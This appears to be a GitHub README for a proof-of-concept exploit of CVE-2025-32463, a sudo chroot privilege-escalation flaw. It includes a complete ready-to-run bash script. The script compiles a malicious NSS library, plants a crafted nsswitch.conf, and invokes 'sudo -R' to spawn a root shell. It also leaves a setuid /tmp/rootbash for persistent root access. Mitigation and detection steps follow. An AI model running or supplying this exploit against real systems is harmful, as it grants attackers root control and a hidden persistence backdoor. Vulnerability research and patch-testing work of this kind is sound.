CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit

介绍

# CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit

## Overview

CVE-2025-32463 is a critical local privilege escalation vulnerability in sudo versions 1.9.14 through 1.9.17. This vulnerability allows attackers with sudo privileges to escalate to root access by exploiting a design flaw in the chroot option processing logic.

## Vulnerability Details

- **CVE ID**: CVE-2025-32463
- **Affected Versions**: sudo 1.9.14 - 1.9.17
- **Vulnerability Type**: Local Privilege Escalation (LPE)
- **Severity**: Critical
- **Patched Version**: sudo 1.9.17p1 and later

## Technical Description

The vulnerability occurs due to a **timing issue in sudo's security validation process**. The `pivot_root` function is executed **before security policy verification**, allowing attackers to manipulate the file system environment that sudo uses for authentication and authorization.

### Attack Flow

1. **Environment Manipulation**: Attacker creates a controlled chroot environment with malicious `nsswitch.conf`
2. **Library Injection**: Malicious NSS (Name Service Switch) library is placed in the controlled environment
3. **Privilege Escalation**: sudo loads and executes the malicious library with root privileges
4. **Root Access**: Attacker gains full root shell access

### Affected Functions

- `pivot_root`: Executed too early in the process
- `set_cmnd_path`: Operates in the manipulated environment
- `command_matches`: Security checks bypassed due to environment manipulation

## Prerequisites

Before using this exploit, ensure the following conditions are met:

- [ ] Target system runs sudo version 1.9.14 - 1.9.17
- [ ] Current user has sudo privileges
- [ ] sudoers configuration allows chroot operations
- [ ] gcc compiler is available on the target system
- [ ] Write access to temporary directories (e.g., /tmp)

## Usage

### Quick Start

1. Clone this repository:
```
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
```

2. Make the script executable:
```
chmod +x cve-2025-32463.sh
```

3. Run the exploit:
```
./cve-2025-32463.sh
```

### Manual Verification

Check if the target system is vulnerable:

```
# Check sudo version
sudo --version

# Check sudo privileges
sudo -l

# Look for chroot-related permissions
sudo -l | grep chroot
```

## Exploit Code

The main exploit script (`cve-2025-32463.sh`):

```
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}
```

## Verification

After successful exploitation, verify root access:

```
# Check current privileges
whoami

# Check proof file
cat /tmp/pwned_proof.txt

# Use setuid bash for persistent root access
/tmp/rootbash -p
```

## Mitigation

### Immediate Actions

1. **Update sudo** to version 1.9.17p1 or later:
   ```
   # Ubuntu/Debian
   sudo apt update && sudo apt upgrade sudo
   
   # CentOS/RHEL
   sudo yum update sudo
   
   # or
   sudo dnf update sudo
   ```

2. **Remove chroot directives** from sudoers (temporary workaround):
   ```
   # Backup current configuration
   sudo cp /etc/sudoers /etc/sudoers.backup
   
   # Remove chroot-related entries
   sudo sed -i '/chroot/d' /etc/sudoers
   
   # Verify syntax
   sudo visudo -c
   ```

### Detection

Monitor for exploitation attempts:

```
# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d

# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo

# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f
```

## Technical Details

### Root Cause Analysis

The vulnerability stems from a **design flaw in sudo's execution flow**:

1. **Normal Expected Flow**:
   - Parse user input
   - Validate sudoers policy
   - Set up environment (including chroot)
   - Execute command

2. **Actual Vulnerable Flow**:
   - Parse user input
   - **Execute chroot (pivot_root) - Problem occurs here**
   - Validate sudoers policy (in manipulated environment)
   - Execute command

### NSS Library Exploitation

The exploit leverages the Name Service Switch (NSS) system:

1. Sudo reads `/etc/nsswitch.conf` for user authentication
2. In the chroot environment, attacker controls this file
3. Malicious NSS library is loaded with root privileges
4. Library constructor executes arbitrary code as root

## Testing Environment

This exploit has been tested on:

- Ubuntu 20.04/22.04 with sudo 1.9.15
- Debian 11/12 with sudo 1.9.14-1.9.17
- CentOS 8/9 with affected sudo versions
- Docker containers with vulnerable sudo installations
